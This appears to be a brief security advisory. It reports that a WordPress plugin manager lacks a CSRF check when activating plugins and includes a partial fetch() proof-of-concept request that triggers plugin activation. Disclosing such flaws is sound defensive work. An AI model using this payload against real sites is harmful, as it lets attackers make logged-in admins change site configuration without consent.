The plugin does not have CSRF check when activating plugins, which could allow attackers to make logged in admins activate arbitrary plugins present on the blog via a CSRF attack

        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=wppluginmanager_ajax_plugin_activation&location=woocommerce/woocommerce.php',
        redirect: 'follow'
